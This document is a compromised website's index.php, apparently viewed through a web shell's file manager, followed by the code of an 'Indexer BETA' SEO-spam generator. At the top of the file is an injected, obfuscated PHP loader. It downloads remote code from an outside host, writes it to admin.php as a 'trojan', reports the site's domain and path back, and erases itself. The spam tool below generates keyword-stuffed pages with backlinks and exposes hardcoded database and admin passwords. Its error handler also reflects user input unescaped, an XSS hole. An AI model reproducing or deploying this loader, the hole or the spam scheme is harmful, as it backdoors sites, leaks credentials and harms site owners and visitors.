Your IP : 216.73.217.78


Current Path : /home/seto/anarchei.me/
Upload File :
Current File : /home/seto/anarchei.me/index.php

<?php
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$OO0O___0O0=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{26}.$O00OO_0_O_{30}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$O_O_0_O00O=$O00OO_0_O_{16}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{27}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_00O0OO__=$O00OO_0_O_{33}.$O00OO_0_O_{10}.$O00OO_0_O_{24}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_0_O0_O0O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{35}.$O00OO_0_O_{16}.$O00OO_0_O_{10};$O_O_O000_O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{23}.$O00OO_0_O_{35}.$O00OO_0_O_{33}.$O00OO_0_O_{30};$O___00OO0O=$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{24}.$O00OO_0_O_{12}.$O00OO_0_O_{6}.$O00OO_0_O_{23}.$O00OO_0_O_{12}.$O00OO_0_O_{2}.$O00OO_0_O_{30};$O__0O0_0OO=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{12}.$O00OO_0_O_{0}.$O00OO_0_O_{12}.$O00OO_0_O_{10};$O_OO_O000_=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{17}.$O00OO_0_O_{30}.$O00OO_0_O_{32};$OO0O0__O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O__O00_OO0=\'\'','if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O__O00_OO0;');$OOO_O00_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url','$OO0O0_0_O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');$O_OO__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly9hdXRvLXBvcnNjaGUuY29tL2FkbWluLnBocD81MjA=\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLmxvNjEueHl6L2YudHh0"));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLmxvNjEueHl6Lz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?><?php
## ++++++++++++++++++++++++++++++++++++++++++++++ ##
# INDEXER BETA ---------------------------------- ##
## ++++++++++++++++++++++++++++++++++++++++++++++ ##
## BY Oskar2002
## Theme: https://bootswatch.com/superhero/
## CronJob: curl -s https://www2.yoursite.com/index.php?router=cronjob

## ++++++++++++++++++++++++++++++++++++++++++++++ ##
# CONFIG ---------------------------------------- ##
## ++++++++++++++++++++++++++++++++++++++++++++++ ##
$config['database']['host'] = 'localhost';
$config['database']['name'] = 'seto_anarche';
$config['database']['user'] = 'seto_anarche';
$config['database']['pass'] = 'Nsj58}iBkF5N';
// ++++
$config['site']['url'] = 'https://%%SUBDOMAIN%%.anarchei.me'; // NO "/"
$config['lang'] = 'en';
// ++++
$config['admin']['password'] = 'sdf2321KKK';
// ++++
$config['block']['robots'] = 'ahrefs|semrush|mj12bot|xenu|rogerbot|dotbot|blekkobot'; // SEP "|"

## ++++++++++++++++++++++++++++++++++++++++++++++ ##
# LANG ------------------------------------------ ##
## ++++++++++++++++++++++++++++++++++++++++++++++ ##
$lang['database']['err']['es'] = 'Error con la base de datos, no se ha podido conectar.';
$lang['infodatabase']['es'] = 'Información de la base de datos';
$lang['runinstall']['es'] = 'Instalar';
$lang['dashboard']['es'] = 'Panel Admin';
$lang['dictionary']['es'] = 'Diccionario';
$lang['welcome']['es'] = 'Bienvenid@ al Indexador Beta, buen hacking ;D';
$lang['days']['es'] = 'Días';
$lang['urls']['es'] = 'URLs';
$lang['words']['es'] = 'Palabras';
$lang['save']['es'] = 'Guardar';
$lang['enter']['es'] = 'Entrar';
$lang['err']['es'] = 'Debes rellenar todos los campos.';
$lang['err']['login']['es'] = 'La contraseña no coincide.';
// ++++
$lang['database']['err']['en'] = 'Database error, could not connect.';
$lang['infodatabase']['en'] = 'Info database';
$lang['runinstall']['en'] = 'Install';
$lang['dashboard']['en'] = 'Dashboard';
$lang['dictionary']['en'] = 'Dictionary';
$lang['welcome']['en'] = 'Welcome to Indexer Beta, nice hacking ;D';
$lang['days']['en'] = 'Days';
$lang['urls']['en'] = 'URLs';
$lang['words']['en'] = 'Words';
$lang['save']['en'] = 'Save';
$lang['enter']['en'] = 'Enter';
$lang['err']['en'] = 'You must fill all the fields.';
$lang['err']['login']['en'] = 'Password does not match.';

## ++++++++++++++++++++++++++++++++++++++++++++++ ##
# VERSION --------------------------------------- ##
## ++++++++++++++++++++++++++++++++++++++++++++++ ##
$version['name']['indexer'] = 'Indexer BETA';

## ++++++++++++++++++++++++++++++++++++++++++++++ ##
# VARS ------------------------------------------ ##
## ++++++++++++++++++++++++++++++++++++++++++++++ ##
$err = isset($err) ? $err : '';
$router = isset($_GET['router']) ? $_GET['router'] : 'index';
$password = isset($_POST['password']) ? $_POST['password'] : '';
$urls = isset($_POST['urls']) ? $_POST['urls'] : '';
$days = isset($_POST['days']) ? $_POST['days'] : '';
$words = isset($_POST['words']) ? $_POST['words'] : '';
// ++++
session_start();

## ++++++++++++++++++++++++++++++++++++++++++++++ ##
# BLOCK ----------------------------------------- ##
## ++++++++++++++++++++++++++++++++++++++++++++++ ##
if(preg_match('/(' . $config['block']['robots'] . ')/i',strtolower($_SERVER['HTTP_USER_AGENT']))){
    die('xD'); exit;
}

## ++++++++++++++++++++++++++++++++++++++++++++++ ##
# FUNCTIONS ------------------------------------- ##
## ++++++++++++++++++++++++++++++++++++++++++++++ ##
// Conex DB
function conex_db(){
    // Global
    global $config, $lang;
    // New
    @$conn = new mysqli(
        $config['database']['host'],
        $config['database']['user'],
        $config['database']['pass'],
        $config['database']['name']
    );
    @$conn->set_charset("utf8");
    // Check
    if($conn->connect_error){
        header("location:index.php?router=install&err=" . urlencode($lang['database']['err'][$config['lang']]));
    }
    // Return
    return $conn;
}
// Err
function err(){
    // Global
    global $err;
    // Check
    if($err){
        return <<<EOT
            <div class="alert alert-danger" role="alert">
                <span>{$err}</span>
            </div>
        EOT;
    }elseif(isset($_GET['err'])){
        // Vars
        $err = urldecode($_GET['err']);
        return <<<EOT
            <div class="alert alert-danger" role="alert">
                <span>{$err}</span>
            </div>
        EOT;
    }
}
// Total Words
function total_words(){
    $c = conex_db();
    if($tw = $c->query("SELECT * FROM dictionary")): return $tw->num_rows;
    else: header("location:index.php?router=install"); endif;
    $c->close();
}
// Get WWW
function get_www(){
    $fd = explode(".", $_SERVER['HTTP_HOST']);
    $www = $fd[0];
    return $www;
}
// Save Log
function save_log($type, $www){
    $f[1] = fopen("log/" . $www . "-" . time() . ".txt", "w");
    fwrite($f[1], "User-agent: ".$_SERVER['HTTP_USER_AGENT']);
    fwrite($f[1], "\r\n");
    fwrite($f[1], "Visit " . $type .": ".date("d-m-Y H:i", time()));
    fwrite($f[1], "\r\n");
    fclose($f[1]);
}
// Check Login
function check_login($content){
    if( ! @$_SESSION[$_SERVER['HTTP_HOST']]): header("location:index.php?router=login");
    else: return $content; endif;
}
// Generate Article
function generate_article($tw){
    // Vars
    $tr = rand(10,20);
    // Open Conex
    $c = conex_db();
    // Generate Title
    $s[1] = "SELECT word FROM dictionary ORDER BY RAND() LIMIT ?";
    if($q = $c->prepare($s[1])):
        $q->bind_param('i',$tr);
        $q->execute();
        $rs = $q->get_result();
        if($rs->num_rows){
            $ta = "";
            $i[1] = 1;
            while($d = $rs->fetch_array()){
                // First
                if($i[1] === 1): $ta .= ucwords($d['word']) . " ";
                else: $ta .= $d['word'] . " "; endif;
                // Last
                if($i[1] === $q->num_rows): $ta .= $d['word']; endif;
                // Sum
                $i[1]++;
            }
        }
        // Close Query
        $q->close();
    else: header("location:index.php?router=install"); endif;
    // Generate Article
    $s[2] = "SELECT word FROM dictionary ORDER BY RAND() LIMIT ?";
    if($q = $c->prepare($s[2])):
        $q->bind_param('i',$tw);
        $q->execute();
        $rs = $q->get_result();
        if($rs->num_rows){
            // Vars
            $i[1] = 1; $i[2] = 1; $i[3] = 1;
            $i[4] = number_format($tw/3);
            $ca = "";
            while($d = $rs->fetch_array()){
                // First
                if($i[1] == 1): $ca .= "<p>" . ucwords($d['word']) . " ";
                else: $ca .= $d['word'] . " "; endif;
                // Add URL
                if($i[4] == $i[2]): $ca .= "%%URL%% "; endif;
                // Commas
                $i[6] = rand(5,10); if($i[3]>$i[6]): $ca .= $d['word'] . ", "; $i[3] = 0; endif;
                // Limit Paragraph
                $i[7] = rand(40,60); if($i[1]>$i[7]): $ca .= $d['word'] . ".</p>"; $i[1] = 0; endif;
                // Last
                if($i[2] == $tw): $ca .= $d['word'] . ".</p>"; endif;
                // Sum
                $i[1]++; $i[2]++; $i[3]++;
            }
        }
        // Close Query
        $q->close();
    else: header("location:index.php?router=install"); endif;
    // Close Conex
    $c->close();
    // Return
    return $ta . "%%SEP%%" . $ca;
}
// Index Blogs
function run_index(){
    // Global
    global $config;
    // Vars
    $www = get_www();
    // Check
    if($www !== 'www'){
        // Check
        if(file_exists("www/" . $www . "/index.html")): echo file_get_contents("www/" . $www . "/index.html");
        else: header("location:" . str_replace("%%SUBDOMAIN%%", "www", $config['site']['url'])); endif;
        // Save Log
        save_log("Blog", $www);
    }
}
// Sitemap Blogs
function run_sitemap(){
    // Global
    global $config;
    // Vars
    $www = get_www();
    // Check
    if($www !== 'www'){
        // Check
        if(file_exists("www/" . $www . "/sitemap.xml")): header("Content-Type: text/xml"); echo file_get_contents("www/" . $www . "/sitemap.xml");
        else: header("location:" . str_replace("%%SUBDOMAIN%%", "www", $config['site']['url'])); endif;
        // Save Log
        save_log("Sitemap", $www);
    }
}
// Run Robots
function run_robots(){
    // Global
    global $config;
    // Vars
    $www = get_www();
    // Check
    if($www !== 'www'){
        // Check
        if(file_exists("www/" . $www . "/robots.txt")): header("Content-Type: text/plain"); echo file_get_contents("www/" . $www . "/robots.txt");
        else: header("location:" . str_replace("%%SUBDOMAIN%%", "www", $config['site']['url'])); endif;
        // Save Log
        save_log("Robots", $www);
    }
}
// CronJob Blogs
function run_cronjob(){
    // Global
    global $config;
    // Vars
    $msg = NULL;
    $date_now = date("Y-m-d H:i:s", time());
    // Headers
    header('Content-Type: application/json; charset=utf-8');
    // Open Conex
    $c = conex_db();
    // SQL
    $s[1] = "SELECT * FROM queue WHERE time < ? AND worked = 0 LIMIT 1";
    if($q = $c->prepare($s[1])):
        $q->bind_param('s',$date_now);
        $q->execute();
        $rs = $q->get_result();
        if($rs->num_rows){
            // Vars
            $d[1] = $rs->fetch_array();
            $sd = md5($d[1]['url']);
            $fr = "www";
            $fd = $fr . "/" . $sd;
            // Check
            if( ! file_exists($fd)){
                // Create
                mkdir($fd, 0777, true);
                // HTML
                $ga = generate_article(rand(800,1200));
                $ea = explode("%%SEP%%", $ga);
                $t[1] = $ea[0];
                $t[2] = $ea[1];
                $cu = "<a href=\"" . $d[1]['url'] . "\">" . $d[1]['url'] . "</a>";
                $t[3] = str_replace("%%URL%%", $cu, $t[2]);
                $t[4] = <<<EOT
                    <!DOCTYPE html>
                    <html lang="{$config['lang']}" xmlns="http://www.w3.org/1999/xhtml">
                    <head>
                        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
                        <meta http-equiv="X-UA-Compatible" content="IE=edge">
                        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
                        <meta name="robots" content="noindex,follow" />
                        <title>{$t[1]}</title>
                    </head>
                        <body>
                            <h1>{$t[1]}</h1>
                            {$t[3]}
                        </body>
                    </html>
                EOT;
                // Save
                $f[1] = fopen($fd . "/index.html", "w");
                fwrite($f[1], $t[4]);
                fclose($f[1]);
                // Vars
                $date = @date("c", time());
                // Sitemap
                $t[5] = str_replace("%%SUBDOMAIN%%", $sd, $config['site']['url']);
                $t[6] = <<<EOT
                    <?xml version="1.0" encoding="utf-8"?>
                    <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
                        <url>
                        <loc>{$t[5]}/</loc>
                            <lastmod>{$date}</lastmod>
                            <changefreq>daily</changefreq>
                            <priority>0.8</priority>
                        </url>
                    </urlset>
                EOT;
                // Save
                $f[2] = fopen($fd . "/sitemap.xml", "w");
                fwrite($f[2], $t[6]);
                fclose($f[2]);
                // Robots
                $f[3] = fopen($fd . "/robots.txt", "w");
                fwrite($f[3], "User-agent: *");
                fwrite($f[3], "\r\n");
                fwrite($f[3], "Allow: /");
                fwrite($f[3], "\r\n");
                fwrite($f[3], "Sitemap: " . $t[5] . "/sitemap.xml");
                fclose($f[3]);
                // Ping
                $ping = "http://www.google.com/webmasters/sitemaps/ping?sitemap=" .htmlentities($t[5] . "/sitemap.xml");
                file_get_contents($ping);
                // Ok
                $msg = array('msg'=>'ok');
            }
            // Update
            $s = "UPDATE queue SET worked = 1 WHERE id = ?";
            if($q = $c->prepare($s)):
                $q->bind_param('i',$d[1]['id']);
                $q->execute();
            else: $msg = array('msg'=>$c->error); endif;
        }else{
            $msg = array('msg'=>'paused');
        }
        // Close Query
        $q->close();
    else: header("location:index.php?router=install"); endif;
    // Close Conex
    $c->close();
    // Json
    echo json_encode($msg);
}

## ++++++++++++++++++++++++++++++++++++++++++++++ ##
# FORMS ----------------------------------------- ##
## ++++++++++++++++++++++++++++++++++++++++++++++ ##
// Install
if(isset($_POST['submit']) && $router === 'install'){
    // Open Conex
    $c = conex_db();
    // SQLs
    $s[1] = <<<EOT
        CREATE TABLE IF NOT EXISTS `queue` (
            `id` bigint(20) NOT NULL AUTO_INCREMENT PRIMARY KEY,
            `url` varchar(4000) NOT NULL,
            `worked` tinyint(1) NOT NULL,
            `time` datetime NOT NULL
        ) CHARSET=utf8;
    EOT;
    $s[2] = <<<EOT
        CREATE TABLE IF NOT EXISTS `dictionary` (
            `id` bigint(20) NOT NULL AUTO_INCREMENT PRIMARY KEY,
            `word` varchar(100) NOT NULL
        ) CHARSET=utf8;
    EOT;
    // Multi Query
    for($i=1;$i<=2;$i++){
        if( ! $c->query($s[$i])){
            $err = $c->error;
        }
    }
    // Close Conex
    $c->close();
    // Dirs
    if( ! is_dir("www")): mkdir("www", 0777, true); endif;
    if( ! is_dir("log")): mkdir("log", 0777, true); endif;
    // HTACCESS
    $f[1] = fopen(".htaccess", "w");
    fwrite($f[1], "<IfModule mod_rewrite.c>");
    fwrite($f[1], "\r\n");
    fwrite($f[1], "RewriteBase /");
    fwrite($f[1], "\r\n");
    fwrite($f[1], "RewriteCond %{HTTPS} off");
    fwrite($f[1], "\r\n");
    fwrite($f[1], "RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]");
    fwrite($f[1], "\r\n");
    fwrite($f[1], "RewriteRule ^sitemap.xml$ index.php?router=sitemap [L]");
    fwrite($f[1], "\r\n");
    fwrite($f[1], "RewriteRule ^robots.txt$ index.php?router=robots [L]");
    fwrite($f[1], "\r\n");
    fwrite($f[1], "</IfModule>");
    fclose($f[1]);
    // Ok...
    header("location:index.php?router=dashboard");
}
// Login
if(isset($_POST['submit']) && $router === 'login'){
    // Check
    if(empty($password)){
        $err = $lang['err'][$config['lang']];
    }else{
        // Check
        if($password === $config['admin']['password']): $_SESSION[$_SERVER['HTTP_HOST']] = true; header("location:index.php?router=dashboard");
        else: $err = $lang['err']['login'][$config['lang']]; endif;
    }
}
// Save URLs
if(isset($_POST['submit']) && $router === 'dashboard'){
    // Check...
    if(empty($urls) or empty($days)){
        $err = $lang['err'][$config['lang']];
    }else{
        // Vars
        $lu = explode("\r\n", $urls);
        // Calculate
        $ld = @round(((60*60*24)*$days/count($lu)));
        // Open Conex
        $c = conex_db();
        // Check & Insert
        for($i=0;$i<count($lu);$i++){
            // Vars
            $t = time() + ($ld*($i+1));
            $t = @date("Y-m-d H:i:s", $t);
            // SQL
            $s[1] = "SELECT id FROM queue WHERE url = ?";
            if($q = $c->prepare($s[1])):
                $q->bind_param('s',$u);
                $q->execute();
                $rs = $q->get_result();
                if( ! $rs->num_rows){
                    $s[2] = "INSERT INTO queue (url, time) VALUES (?,?)";
                    if($q = $c->prepare($s[2])):
                        $q->bind_param('ss',$lu[$i],$t);
                        $q->execute();
                    else: die($c->error); endif;
                }
                // Close Query
                $q->close();
            else: header("location:index.php?router=install"); endif;
        }
        // Close Conex
        $c->close();
        // Redirect...
        header("location:index.php?router=dashboard");
    }
}
// Save Words
if(isset($_POST['submit']) && $router === 'dictionary'){
    // Check
    if(empty($words)){
        $err = $lang['err'][$config['lang']];
    }else{
        // Save
        $lw = explode(" ", $words);
        // Open Conex
        $c = conex_db();
        // Multi Query
        foreach($lw as $w){
            $w = mb_strtolower($w);
            $w = preg_replace("/[^0-9a-zA-Záéíóúäëïöüñ]/", "", $w);
            $s[1] = "SELECT id FROM dictionary WHERE word = ?";
            if($q = $c->prepare($s[1])):
                $q->bind_param('s',$w);
                $q->execute();
                $rs = $q->get_result();
                if( ! $rs->num_rows){
                    $s[2] = "INSERT INTO dictionary (word) VALUES (?)";
                    if($q = $c->prepare($s[2])): $q->bind_param('s',$w); $q->execute();
                    else: die($c->error); endif;
                }
                // Close Query
                $q->close();
            else: header("location:index.php?router=install"); endif;
        }
        // Close Conex
        $c->close();
        // Redirect...
        header("location:index.php?router=dictionary");
    }
}

## ++++++++++++++++++++++++++++++++++++++++++++++ ##
# VARS FUNCTIONS -------------------------------- ##
## ++++++++++++++++++++++++++++++++++++++++++++++ ##
$iferr = err();

## ++++++++++++++++++++++++++++++++++++++++++++++ ##
# TEMPLATES ------------------------------------- ##
## ++++++++++++++++++++++++++++++++++++++++++++++ ##
// Global Template
function global_template($title, $content){
    // Global
    global $config, $lang, $version;
    // HTML
    return <<<EOT
        <!DOCTYPE html>
        <html lang="{$config['lang']}">
        <head>
            <meta charset="UTF-8">
            <meta http-equiv="X-UA-Compatible" content="IE=edge">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Admin - $title</title>
            <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootswatch@5.1.3/dist/superhero/bootstrap.min.css">
            <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
        </head>
        <body style="padding-top:100px;">
            <div class="navbar navbar-expand-lg fixed-top navbar-dark bg-dark">
                <div class="container">
                    <a class="navbar-brand" href="index.php?router=dashboard">{$version['name']['indexer']}</a>
                    <button class="navbar-toggler collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
                        <span class="navbar-toggler-icon"></span>
                    </button>
                    <div class="collapse navbar-collapse" id="navbarResponsive">
                        <ul class="navbar-nav">
                            <li class="nav-item">
                                <a class="nav-link" href="index.php?router=dashboard">{$lang['dashboard'][$config['lang']]}</a>
                            </li>
                            <li class="nav-item">
                                <a class="nav-link" href="index.php?router=dictionary">{$lang['dictionary'][$config['lang']]}</a>
                            </li>
                        </ul>
                    </div>
                </div>
            </div>
            <div class="container">
                {$content}
            </div>
        </body>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.min.js"></script>
        </html>
    EOT;
}

// Content Install
function content_install(){
    // Global
    global $config, $lang, $iferr;
    // HTML
    return <<<EOT
        <form action="index.php?router=install" method="post">
            {$iferr}
            <table class="table mb-3">
                <thead>
                    <tr><th>{$lang['infodatabase'][$config['lang']]}</th></tr>
                </thead>
                <tbody>
                    <tr><td>{$config['database']['host']}</td></tr>
                    <tr><td>{$config['database']['user']}</td></tr>
                    <tr><td>{$config['database']['pass']}</td></tr>
                    <tr><td>{$config['database']['name']}</td></tr>
                </tbody>
            </table>
            <button name="submit" type="submit" class="btn btn-success">
                <i class="fa fa-check"></i>
